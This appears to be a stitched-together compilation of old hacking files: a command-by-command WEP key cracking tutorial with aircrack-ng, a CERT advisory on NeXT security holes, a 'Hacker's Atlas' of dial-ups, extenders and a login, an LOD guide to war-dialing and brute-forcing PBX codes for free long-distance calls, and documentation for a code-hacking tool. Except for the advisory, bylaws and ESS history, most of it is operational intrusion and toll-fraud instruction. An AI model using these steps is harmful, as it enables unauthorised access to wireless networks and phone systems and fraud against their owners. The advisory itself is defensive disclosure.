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Simple Wi-Fi WEP Crack

wifi-300x189

Overview

To crack the WEP key for an access point, we need to gather lots of initialization vectors (IVs). Normal network traffic does not typically generate these IVs very quickly. Theoretically, if you are patient, you can gather sufficient IVs to crack the WEP key by simply listening to the network traffic and saving them. Since none of us are patient, we use a technique called injection to speed up the process. Injection involves having the access point (AP) resend selected packets over and over very rapidly. This allows us to capture a large number of IVs in a short period of time.
Equipments used
Wifi Adaptor : Alfa AWUS036H (available on eBay & Amazon)
Software : Backtrack 4 (Free download from http://www.backtrack-linux.org)

Step 1 – Start the wireless interface in monitor mode on AP channel

airmon-ng start wlan1 6
starts wifi interface in channel 6

Step 2 – Test Wireless Device Packet Injection

aireplay-ng -6 -e infosec -a 00:1B:11:24:27:2E  wlan1
-9 means injection
-a 00:1B:11:24:27:2E is the access point MAC address

Step 3 – Start airodump-ng to capture the IVs

airodump-ng -c 6 –bssid 00:1B:11:24:27:2E -w output wlan1

Step 4 – Use aireplay-ng to do a fake authentication with the access point

In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet in cleartext. In this state, no new IVs are created because the AP is ignoring all the injected packets.
aireplay-ng -1 0 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1
-1 means fake authentication
0 reassociation timing in seconds
-e infosec is the wireless network name
-a 00:14:6C:7E:40:80 is the access point MAC address
-h 00:0F:B5:88:AC:82 is our card MAC address
OR
aireplay-ng -1 2 -o 1 -q 10 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1
2 – Reauthenticate every 2 seconds.
-o 1 – Send only one set of packets at a time. Default is multiple and this confuses some APs.
-q 10 – Send keep alive packets every 10 seconds.
Troubleshooting Tips

Some access points are configured to only allow selected MAC addresses to associate and connect. If this is the case, you will not be able to successfully do fake authentication unless you know one of the MAC addresses on the allowed list. If you suspect this is the problem, use the following command while trying to do fake authentication. Start another session and…
Run:tcpdump -n -vvv -s0 -e -i | grep -i -E ”(RA:|Authentication|ssoc)”

You would then look for error messages.
If at any time you wish to confirm you are properly associated is to use tcpdump and look at the packets. Start another session and…
Run: “tcpdump -n -e -s0 -vvv -i wlan1”

Here is a typical tcpdump error message you are looking for:
11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80   DeAuthentication: Class 3 frame received from nonassociated station
Notice that the access point (00:14:6c:7e:40:80) is telling the source (00:0F:B5:88:AC:82) you are not associated. Meaning, the AP will not process or accept the injected packets.
If you want to select only the DeAuth packets with tcpdump then you can use: “tcpdump -n -e -s0 -vvv -i wlan1 | grep -i DeAuth”. You may need to tweak the phrase “DeAuth” to pick out the exact packets you want.

Step 5 – Start aireplay-ng in ARP request replay mode

aireplay-ng -3 -b 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1

Step 6 – Run aircrack-ng to obtain the WEP key

aircrack-ng -b 00:1B:11:24:27:2E output*.cap
All Done! icon smile Simple Wi Fi WEP Crack [TUTORIAL]

TAG FILE: Obscene Phobia BBS (January 1, 1995)

[Note: OCF is the Open Computing Facility at UC Berkeley.]

Bylaws of the OCF.

1. The General Manager and the Site Managers cannot
appoint directors except when the OCF is not in session
and the Board of Directors cannot make a quorum because
there are fewer than five directors in town.

2. The OCF Board of Directors shall meet weekly.

3. Any Director missing two consecutive regularly
scheduled meetings will be removed from the Board,
regardless of whether the meetings achieve quorum.

4. OCF Board meetings must be announced to all Directors
at least twenty-four hours in advance.

5. Resolutions by the Board of Directors can be put to a
vote electronically. When putting a resolution to the
Board in this manner, all Board members must be
included in the request for votes. To pass an issue
this way, at least half of all the Board members must
agree. If the motion fails to achieve a majority
within seventy-two hours of being called to such a
vote, the motion fails. The results of the vote will
be posted in role call form.

6. Attendance lists and minutes for all OCF meetings shall
be maintained for the decisions of that meeting to be
valid.

May 28, 1991

CERT Advisory on the NeXT computer’s Software

——————————————————————————
CA-90:06 CERT Advisory
October 2, 1990
NeXT’s System Software

—————————————————————————–
This message is to alert administrators of NeXT Computers of four
potentially serious security problems.

The information contained in this message has been provided by David Besemer,
NeXT Computer, Inc. The following describes the four security problems,
NeXT’s recommended solutions and the known system impact.

——————————————————————————

Problem #1 DESCRIPTION: On Release 1.0 and 1.0a a script exists in
/usr/etc/restore0.9 that is a setuid shell script. The existence of
this script is a potential security problem.

Problem #1 IMPACT: The script is only needed during the installation
process and isn’t needed for normal usage. It is possible for any
logged in user to gain root access.

Problem #1 SOLUTION: NeXT owners running Release 1.0 or 1.0a should
remove /usr/etc/restore0.9 from all disks. This file is installed by
the “BuildDisk” application, so it should be removed from all systems
built with the standard release disk, as well as from the standard
release disk itself (which will prevent the file from being installed
on systems built with the standard release disk in the future). You
must be root to remove this script, and the command that will remove
the script is the following:

# /bin/rm /usr/etc/restore0.9

Problem #2 DESCRIPTION: On NeXT computers running Release 1.0 or
1.0a that also have publicly accessible printers, users can gain
extra permissions via a combination of bugs.

Problem #2 IMPACT: Computer intruders are able to exploit this security
problem to gain access to the system. Intruders, local users and remote
users are able to gain root access.

Problem #2 SOLUTION: NeXT computer owners running Release 1.0 or
1.0a should do two things to fix a potential security problem.
First, the binary /usr/lib/NextPrinter/npd must be replaced with a
more secure version. This more secure version of npd is available
through your NeXT support center. Upon receiving a copy of the more
secure npd, you must become root and install it in place of the old
one in /usr/lib/NextPrinter/npd. The new npd binary needs to be
installed with the same permission bits (6755) and owner (root) as
the old npd binary. The commands to install the new npd binary are
the following:

# /bin/mv /usr/lib/NextPrinter/npd /usr/lib/NextPrinter/npd.old
# /bin/mv newnpd /usr/lib/NextPrinter/npd
(In the above command, “newnpd” is the npd binary
that you obtained from your NeXT support center.)
# /etc/chown root /usr/lib/NextPrinter/npd
# /etc/chmod 6755 /usr/lib/NextPrinter/npd

The second half of the fix to this potential problem is to change the
permissions of directories on the system that are currently owned and
able to be written by group “wheel”. The command that will remove
write permission for directories owned and writable by group “wheel”
is below. This command is all one line, and should be run as root.

# find / -group wheel ! -type l -perm -20 ! -perm -2 -ls -exec chmod
g-w {} \; -o -fstype nfs -prune

Problem #3 DESCRIPTION: On NeXT computers running any release of the
system software, public access to the window server may be a
potential security problem.

The default in Release 1.0 or 1.0a is correctly set so that public access
to the window server is not available. It is possible, when upgrading from
a prior release, that the old configuration files will be reused. These
old configuration files could possibly enable public access to the window
server.

Problem #3 IMPACT: This security problem will enable an intruder to gain
access to the system.

Problem #3 SOLUTION: If public access isn’t needed, it should be disabled.

1. Launch the Preferences application, which is located in /NextApps
2. Select the UNIX panel by pressing the button with the UNIX
certificate on it.
3. If the box next to Public Window Server contains a check, click on
the box to remove the check.

Problem #4 DESCRIPTION: On NeXT computers running any release of the
system software, the “BuildDisk” application is executable by all users.

Problem #4 IMPACT: Allows a user to gain root access.

Problem #4 SOLUTION: Change the permissions on the “BuildDisk” application
allowing only root to execute it. This can be accomplished with the
command:

# chmod 4700 /NextApps/BuildDisk

To remove “BuildDisk” from the default icon dock for new users, do the
following:

1. Create a new user account using the UserManager application.
2. Log into the machine as that new user.
3. Remove the BuildDisk application from the Application Dock by dragging
it out.
4. Log out of the new account and log back in as root.
5. Copy the file in ~newuser/.NeXT/.dock to /usr/template/user/.NeXT/.dock
(where ~newuser is the home directory of the new user account)
6. Set the protections appropriately using the following command:
# chmod 555 /usr/template/user/.NeXT/.dock
7. If you wish, with UserManager, remove the user account that you created
in step 1.

In release 2.0, the BuildDisk application will prompt for the root password
if it is run by a normal user.

—————————————————————————–
CONTACT INFORMATION

For further questions, please contact your NeXT support center.

NeXT has also reported that these potential problems have been fixed in
NeXT’s Release 2.0, which will be available in November, 1990.

Thanks to Corey Satten and Scott Dickson for discovering, documenting, and
helping resolve these problems.

—————————————————————————–
Edward DeHart
Computer Emergency Response Team/Coordination Center (CERT/CC)
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890

Internet E-mail: cert@cert.sei.cmu.edu
Telephone: 412-268-7090 24-hour hotline: CERT personnel answer
7:30a.m.-6:00p.m. EST, on call for
emergencies other hours.

Past advisories and other information are available for anonymous ftp
from cert.sei.cmu.edu (128.237.253.5).

X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X

Another file downloaded from: NIRVANAnet(tm)

& the Temple of the Screaming Electron Jeff Hunter 510-935-5845
Rat Head Ratsnatcher 510-524-3649
Burn This Flag Zardoz 408-363-9766
realitycheck Poindexter Fortran 415-567-7043
Lies Unlimited Mick Freen 415-583-4102

Specializing in conversations, obscure information, high explosives,
arcane knowledge, political extremism, diversive sexuality,
insane speculation, and wild rumours. ALL-TEXT BBS SYSTEMS.

Full access for first-time callers. We don’t want to know who you are,
where you live, or what your phone number is. We are not Big Brother.

“Raw Data for Raw Nerves”

X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X

Collection of Hacking Files (Should Eventually be Split up)

Feature Sections – Menu :
:::::::::::::::::::::::::::::::::::::::

[1]…Krakowicz’s Kracking Korner
[2]…Software Documentation
[3]…Software Documentation Vol.2
[4]…Telecommunications Info
[5]…Miscellaneous stuff
[6]…Adventure Hints & Solutions
[7]…Fantasy Adventure Soft-Docs

Enter section (1-7, M=Menu, Q=Quit) :4

=======================================

::: Telecommunications Info :::

—————————————
<#> Date Topic name
—————————————
[1] 03/20 AE Macros
[2] 03/20 Extenders List
[3] 03/20 Loops
[4] 03/20 Three Way Phones
[5] 04/20 Main Frame Numbers
[6] 03/20 Equal Access Info
[7] 03/20 History of ESS
[8] 03/20 Metro Access Numbers
[9] 05/19 Hackers Atlas //
[10] 06/08 PBX Tutorial
??????????
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—————————————
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%*%*%*%*%*%*%*%*%*%
* *
% HACKER’S ATLAS %
* *
%*%*%*%*%*%*%*%*%*%
* *
%*%*%*%*%*%*%*%*%*%

WRITTEN BY : THE WYVERN
DONATED TO : THE GRAVEYARD
202-396-4137

#^#^#^#^#^#^#^#^#^#^#^#^#^#^#^#^#^#^#^#

NOW INTO THE SUBJECT OF HACKING , THIS
FILE SHOULD GIVE ALL OF YOU PEOPLE OUT
THERE WHO ARE BORED AND HAVE NOTHING TO
DO, SOMETHING TO DO… IF IT DOESNT
THEN I GUESS IT DOESNT. LOOK FOR ISSUE
2 WHICH IS COMMING SOON.

HOW BOUT SOME INTERNATIONAL NUMBERS?

QUEEN ELIZABETH LOVES TO TALK TO
COMPUTER HACKERS AND CAN USUALLY BE
REACHED AT 011-441-930-482…

SOME OTHER MISC ONES :

LODON RADIO 44-1-246-8035
DIALING INSTRUCTIONS 44-1-246-8017
CIVIL EMERGENCIES 44-1-246-8088

A FUN THING TO DO IS….SOMETIMES WHEN
YOU ARE CALLING A FRIEND, BOARD OR
WHATEVER YOU WILL GET A CROSS LINE
(USUALLY LONG DISTANCE) WHERE YOU CAN
HERE SOME OTHER LOZERS TALKING, WELL
ITS PRETTY FUN TO LISTEN INTO THEIR
CONVERSATIONS…I HAVE HEARD SOME VERY
INTERESTING ONES…IF YOU ARE LUCKY
THEY WILL BE ABLE TO SORTA HEAR YOU,
AND THATS WHEN YOU DO STUFF LIKE “THIS
IS AN EMERGENCY INTERUPTION, PLEASE
HANG UP IMEDIATLY AND PREPARE FOR AN
EMEGENCY CALL” OR START CUSSING THEM
OUT OR ANYHTING YOU WANT TO DO!

SO ANYWAY FOR ALL YOU DIAL-A-“NUTS” OUT
THERE YOU MIGHT AS WELL PICK UP SOME
NEW INTERESTS AND CALL

DIAL-A-FAG 415-685-6790
DIAL-A-TEENAGER 714-346-7673
DIAL-A-ATHEIST 213-254-4914
DIAL-A-IDIOT 212-934-9090

MAYBE YOUR THE KIND THAT LIKES TO
LISTEN TO RECORDINGS? WELL THEN HOW
ABOUT CALLING 512-472-9941 AND
LISTENING TO THE “INSERT 25 CENT”
RECORDING A COUPLE HUNDRED TIMES?

HERE ARE SOME CARRIER NUMBERS IN 805

683-3831
3832
3833
3834
3835

AS FAR AS I KNOW THEY ALL BELONG TO
A CORP. CALLED SIGNAL TECH., THE FIRST
ONE IS AT LEAST, HIT RETURN A FEW TIMES
AND THERE YOU ARE, HACKING TIME.

SHEESH? STILL BORED EH? WELL WHY NOT
GO AHEAD AND GET ONA 6 WAY CONFERENCE
!??! GTE ON FROM 7-9PM (EASTERN STAND.)
301-736-3070….

OPERATOR TRUNK [LR*2II)X]

(TRY THESE IN THAT TRUNK!)

CONFERENCE OPERATOR XXX+11511
COIN REFUND OPERATOR XXX+181

NAW, YOUR THE 800 EXTENDER TYPE EH?
WELL GET OUT YOUR PROGRAM AND HACK
THESE BABYS:

1-800-221-1950
8190
5670
5430
5665
223-7854
243-7854
255-2255
327-0005
0326
2703
6713
9136
9895
547-6754
237-2618 (CODE : 115342 MAY WORK)

WELL IM NOT SURE WHICH NUMBER IT IS
BUT ITS EITHER

1-805-965-3608
6308

ANYWAYS THATS SOME STATE FARM INSURANCE
RECORDING MACHINE, AND AS FAR AS I KNOW
YOUR PHONE BUTTONS 0-9 WILL DO STUFF
LIKE REWIND, FAST FORWARD, READ, LEAVE
MSGS, ETC, ILL HAVE MORE INFO ON IT IN
THE NEXT ATLAS!

EXTENDERS….322-1415, 255-2255
NEWSNET……215-668-2645
XEROX COMPUTING 312-922-4601
ON:XC56TS
PW:[HIT RETURN]

800-621-3026 SPECIAL OPERATOR
205-235-6205 ARMY POST
713-241-6421 SHELL OIL
800-323-7751 MCI MAIL
800-233-3312
800-223-2283 CITY BANKS
800-223-3450 WUI SAFE

SAY GUYS HERE ARE SOME BEAUTY GIVE
AWAYS FOR YOU :

WARNER 228-3333 (PWS ON KNOWN (AWW))

ACCURAY (K00L SYSTEM)
261-2140
ENTER
GAMES

???????
436-9687
6/24
JOHN12

OHIO STATE
LIBRARY…
(LOGON IN HALF DUP.)
422-5025
(MORE ON USING THIS IN NEXT ATLAS)

ALL OF THE ABOVE ARE IN THE 614 AREA
CODE. IN THE NEXT ATLAS THE NUMBER
FOR WENDY’S COMPUTER!

MISC. 614-481 EXCHANGE :

8049
8194
8754
8764
8771

(ALL ABOVE WITH CARRIER)

TRAVELNET : 800-521-8400 (VOICE 800
EXTENDER)

[) HEY GUYS! THESE GUYS LOVE YOU:

THE PENTAGON……202-694-0814
WATERGATE………202-965-2900
WHITE HOUSE…….202-456-1414

HERE ARE SOME PRESSES FOR YOU TO CALL:

RONNIE’S PRESS 800-424-9009 (?)
WHITE HOUSE ” 800-248-0151

HERE ARE SOME REAL NICE ONES:

213 AREA CODE

974-6624 DEATH RECORDS INFO
6621 BIRTH REOCRDS INFO

*** MORE MISC. NUMBERS ***

LOWELL U….617-459-0159
RECORD A VOICE….800-858-9313

*** A FEW EXTENDERS ***

1-800-547-1784
323-8126
521-8000
743-7481

THAT’S IT! WATCH FOR HACKER’S ATLAS II
SOON!

Courtesy of The Shaolin Temple
408/997/0440

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3

—————————————
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View: PBX SYSTEM TUTORIAL

Steve Dahl
AND
The Legion Of Doom!
Present:

PBX’s (Private Branch Exchanges)
Local and WATS

Because of the danger of using a
blue box, many phreakers have turned
to MCI, sprint, and other SCC’s in
order to get free calls. However, these
services are getting more and more
dangerous, and even the relatively
safe ones like metrofone and all-net
are beginning to trace and bust people
who fraudulantly use their services.
However, (luckily), there is another,
safer way. This is the local and WATS
PBX. If you have a modem or interface
for your computer capable of tone dial-
ing, you can find and make good use of
a great many of these “useful” numbers.
If you don’t have the hardware, it is
still possible, although it would be a
VERY tedious process.
The PBX, or private branch exchange,
is a private switchboard set up in
office buildings, hotels, etc. It
allows people within the PBX to dial
other exchanges directly, to place out-
going calls (what we’re interested in),
and sometimes to transmit their voice
ver the intercom system (lots of
PHUN!) There will at least 1 line
going out of the PBX to the telco set
up for outgoing calls only, and there
will also be at least one incoming line
to the switchboard. This is what we are
interested in. Some of the incoming
lines are always answered by the
switchboard operator, but some will be
answered by the PBX equipmemt. It will
usually answer with a dialtone, the
tone will sound different for different
systems. Some even answer with a
synthesized voice! (These are very hard
to find, though.) The ones which answer
with a dialtone are easy to find if
you have a modem or hardware device
which can “hear” what’s going on on
the phone line.
To find these fun thingies, you
will have to write a scanner program
which will dial each number in a pre-
fix, either sequentially or in a random
order, it really doesn’t matter, and
“listen” on the line for a constant
sound longer than the normal length of
a ring. This could be done manually
but it would take a hell of a long
time. Whenever the program finds a
number that makes a constant tone
longer than a ring, it should record
the number in an array or something.
Now, this number can be one of a few
things. A noisy answering machine, a
sprint, MCI, etc access node, a person
who yells in the fone, the tone side of
a loop (nice), possibly a carrier if
your modem can “hear” tones that high,
or, hopefully, a PBX line. All your
scanning should be done between 6 PM
and 7 AM because between 7 AM and 6 PM,
many of these numbers will be answered
by the switchboard operator. When you
are checking out your results the next
day and come accross a dialtone, enter
some touch-tone (TM) digits. Depending
on which type of PBX equipment and the
length of the codes, after 3-8 digits
it should either give a busy signal,
a “reeler tone” (high-low tone), or
hang up on you, or possibly tell you
you entered a bad code. Now it is time
to write a hacker for this PBX. If the
codes are 3 or 4 digits, there will
most likely only be one code, but if
they are 5 or more digits there may
be more than one. If there are 3 or 4,
your hacker should dial the access
number, wait for a dialtone, then dial
the digits and wait for a second,
then dial a “1” (the reason for this
will be explained shortly), and then
“listen” for a dialtone. This would
be a hacker for a system that gives
a reeler tone, listening for the dial-
tone and hearing it would really mean
the presence of the reeler tone and
mean that a bad code had been entered.
The reason 1 is entered is to “quiet”
the dialtone” If it was a good code,
1XX or 1XXX will be valid extentions
on practically all PBX’s. If your
system gives a re-order or hangs up
after a bad code, forget the one and
just listen for a dialtone, this will
be a good code. If there are 3 or 4
digits, they should be tried sequen-
tiallly (becuase there will probably
only be one good one), if there are
more, take your pick between random and
sequental. Now, when you (finally!!)
get a good code, you will call the
number and enter the code and be
confronted with a second dialtone. THIS
IS THE EXACT SAME DIALTONE THAT ANYONE
WHO PICKS UP A PHONE IN THAT PBX SYSTEM
GETS. The reason this is important is
because if they want to make an out-
going call, they will usually pick up
the fone and dial 8, 9, or sometimes 7,
and get another dialtone and then make
their call, local or long distance. And
you can do the same thing right now!
These numbers also make a good tool to
avoid being traced on telenet, etc, it
will just be traced back to the
company which owns the PBX.
Now for some phun with the PBX you
have just broken into to. You can dial
all extentions directly on it (which
is what local PBX’S are primarially
used for legitimately, unless the com-
pany has OUTWATS lines.) The most
phun extention of all is the PA system.
On some of these, you can get on the
PA (intercom) and actutually talk over
it from your house! It can be on almost
any extention though, so you may have
to hunt for it. On some, 797 or 1234
used to work, but those have mostly
been eliminated, not due to phreakers
but because people inside the company
were figuring them out and using them!
Some PBX’s don’t even have security
codes, you can just call up and dial
9 and call wherever you want. On a few
that I know of you enter the number
and then the code. If you want to know
what these systems “sound” like, there
are files on this and other systems
with long lists of WATS PBX numbers.
The local ones are much safer to hack
though because you are not making a
whole bunch of 800 calls which tends
to get bell very pissed. Also, I have
actually found modems and other wierd
things on some exchanges of PBX’s, it
might be worthwhile to scan the numbers
inside the PBX once to see what you
find.
An important safety note: if you
heavily abuse a PBX and make many
outgoing calls on it, after a few
weeks (or whenever their fone bill
shows up!) it is a good idea to lay off
of it for a couple of months or so
because they could get a trace on it
easilly, just like 800’s. They will
usually just change the code, though.
One more interesing note, I once
found a PBX which had a direct link-
up to sprint! So by dialing 8 I got
a line to sprint, no access codes,
just area code and number. It’s phun
to phuck up sprint and have them not
know who the hell you are or where the
hell you are!!

If you have any comments, sug-
gestions, corrections, or questions,
leave e-mail to Steve Dahl on any major
phreak board, I will be happy to reply.

Steve Dahl
5/1/84

This phile is copyrighted 1984 by
LOD/PNET Telecommunications and Steve
Dahl and is not to be re-posted w/out
the author’s consent!
(>
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METROPHONE ACCESS NUMBERS

ANAHEIM, CA (714)527-7055
ATLANTA, GA (404)223-1000
AUSTIN, TX (512)474-6057
BALTIMORE, MD (301)659-7700
BEAUMONT, TX (713)833-9331
BOSTON, MA

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$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$ $
$ THE HISTORY OF ESS $
$ — ——- — — $
$ $
$ $
$ Another original phile by: $
$ $
$ $
$$$$$$$$$$$$-=>Lex Luthor<=-$$$$$$$$$$$ $ $ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Of all the new 1960s wonders of telephone technology - satelites, ultra modern Traffic Service Positions (TSPS) for operators, the picturephone, and so on - the one that gave Bell Labs the most trouble, and unexpectedly became the greatest development effort in Bell System's history, was the perfection of an electronic switching system, or ESS. It may be recalled that such a system was the specific end in view when the project that had culminated in the invention of the transistor had been launched back in the 1930s. After successful accomplishment of that planned miracle in 1947-48, further delays were brought about by financial stringency and the need for further development of the transistor itself. In the early 1950s, a Labs team began serious work on electronic swithcing. As early as 1955, Western Electric became involved when five engineers from the Hawthorne works were assigned to collaborate with the Labs on the project. The president of AT&T in 1956, wrote confidently, "At Bell Labs, developement of the new electronic switching system is going full speed ahead. We are sure this will lead to many improvements in service and also to greater efficiency. The first service trial will start in Morris, Ill., in 1959." Shortly thereafter, Kappel said that the cost of the whole project would probably be $45 million. But it gradually became apparent that the developement of a commercially usable electronic switching system - in effect, a computerized telephone exchange - presented vastly greater technical problems than had been anticipated, and that, accordingly, Bell Labs had vastly underestimated both the time and the investment needed to do the job. The year 1959 passed without the promised first trial at Morris, Illinois; it was finally made in November 1960, and quickly showed how much more work remained to be done. As time dragged on and costs mounted, there was a concern at AT&T and some- thing approaching panic at Bell Labs. But the project had to go forward; by this time the investment was too great to be sacrificed, and in any case, forward projections of increased demand for telephone service indicated that within a phew years a time would come when, without the quantum leap in speed and flexibility thaty electronic switching would provide, the national network would be unable to meet the demand. In November 1963, an all-electronic switching system went into use at the Brown Engineering Company at Cocoa Beach, Florida. But this was a small installation, essentially another test installation, serving only a single company. Kappel's tone on the subject in the 1964 annual report was, for him, an almost apologetic: "Electronic switching equipment must be manufactured in volume to unprecedented standards of reliability.... To turn out the equipment economically and with good speed, mass production methods must be developed; but, at the same time, there can be no loss of precision..." Another year and millions of dollars later, on May 30, 1965, the first commercial electric centeral office was put into service at Succasunna, New Jersey. Even at Succasunna, only 200 of the town's 4,300 subscribers initially had the benefit of electronic switching's added speed and additional services, such as provision for three party conversations and automatic transfer of incoming calls. But after that, ESS was on its way. In January 1966, the second commercial installation, this one serving 2,900 telephones, went into service in Chase, Maryland. By the end of 1967 there were additional ESS offices in California, Connecticut, Minnesota, Georgia, New York, Florida, and Pennsylvania; by the end of 1970 there were 120 offices serving 1.8 million customers; and by 1974 there were 475 offices serving 5.6 million customers. The difference between conventional switching and electronic switching is the difference between "hardware" and "software"; in the former case, maintenence is done on the spot, with screwdriver and pliers, while in the case of electronic switching, it can be done remotely, by computer, from a centeral point, making it possible to have only one or two technicians on duty at a time at each switching center. The development program, when the final figures were added up, was found to have required a staggering four thousand man-years of work at Bell Labs and to have cost not $45 million but $500 million! The End Lex Luthor Courtesy of The Shaolin Temple 408/997/0440 --------------------------------------- Select 1-10 (M=Menu, Q=Quit) :6 --------------------------------------- [Ctrl-S pauses/Space=quit] * * * * * * * * * * * * * * * TESTS START FOR LONG DISTACE " EQUAL ACCESS " SWITCHING * * * * * * * * * * * * * * * FROM: <*>
* * * * * * * * * * * * * * *

Well, I’m sure most of you phreaks have
heard many rumors about gaining access
to MCI, SPRINT etc…

—————————————

Select 1-10 (M=Menu, Q=Quit) :Q

Master Hack Version 1.0 by Master Frodo (January 1, 1991)

1-1-91

Master Hack v1.0

Written By

Master Frodo

[About Master Hack]

This is the first official release of Master Hack and the first hacker
(at least that I know of) that does support high speed modems. Master Hack
is basically a hacker that I wrote (because I wasn’t satisfied with other
hackers) in Turbo Pascal and just modified the source when I wanted to hack
something new. I decided to add an interface to Master Hack and release it
after I saw that other people were sick of out dated hackers. I would like
to note that I would love to hear any suggestions or comments about what
to add into Master Hack or bugs that were found in Master Hack. If anybody
needs to get hold of me, contact me at Fungus Land or The Lexicon because
these are the only boards that I try to frequent.

[Using Master Hack]

When loading Master Hack you will be asked to configure your modem (to
find more information on this check CONFIGURING THE MODEM) and then you will
be in Master Hack’s main menu. The main menu consists of a list of
directories on the left and a list of extender files on the right. You will
start by being able to go thru the directories to find an extender file.
To move around in the main menu simply use the arrow keys to move the hilite
bar back and forth and use:

ENTER – When hilite bar is over directories this will switch to the
directory selected. If over an extender file then it will
automatically start hacking.

F1 – When the hilite bar is over the directories then you will have
to specify a name for an extender file to create. When over
an extender file it will allow you to edit the extender.

F2 – This option will allow you to reconfigure your modem.

ESC – This will quit Master Hack.

[Creating/Editing an Extender]

When the hi-lite bar is positioned over the directories type F1. Then
you will be prompted to enter a filename. The filename that you have entered
will automatically have an extension of EXT, even if you have specified
otherwise.

Phone Number – This is the dialup you are hacking.

Target Number – This stores the number that you will be hacking to.
NOTE: When Master Hack detects a busy signal it goes on
to the next code. It does not write it to the
code file. I suggest hacking to a service, such
as Telenet (PC Pursuit), instead of hacking to a
Bulletin Board System.

Code Length – Here you will put the length of the code.

Delay Before – This is the delay before the code is dialed.

Delay After – This is the period of time for Master Hack to wait after
the code and target have been dialed.

NOTE: Delay Before and Delay After are both in seconds.

Code File – This is the file that all working codes will be written
to. I suggest using an extension of COD on the filename
because of plans I have for further version of
Master Hack.

NOTE: The Code File is stored as an ASCII file so you
should be able to view it from DOS.

[Configuring your Modem]

Here you will select your modem parameters. In this version of Master
Hack you will not be able to send your own init. string because I don’t think
that it is necessary for the user to have total control over their modem when
hacking. Speed will be set at 45, which I consider to be about average. If
their is enough people that suggest an option that would allow the user to
send a specific init. string then I might add it in.

NOTE: To use Master Hack from anywhere on the Hard Drive, put MASTER.CFG
in a directory that is in your path.

[Your Hacking]

Ok, know your hacking… From this menu you will be able to see the
current status of the modem, how many tries you have done, how many valid
codes have been found, and the last valid code that was hacked. The only
keys you have here is:

Space – This will skip on to the next code.

Esc – This will stop hacking and put you back to the main menu.

NOTE: I would at this time like to note once again that when Master Hack
detects a BUSY SIGNAL it will go on to the next code. It does not
write it to the file.

Well, that is about all that I can think of so, if you need to get hold
of me call any of the two boards listed above and I hope your hacks are as
successful as mine…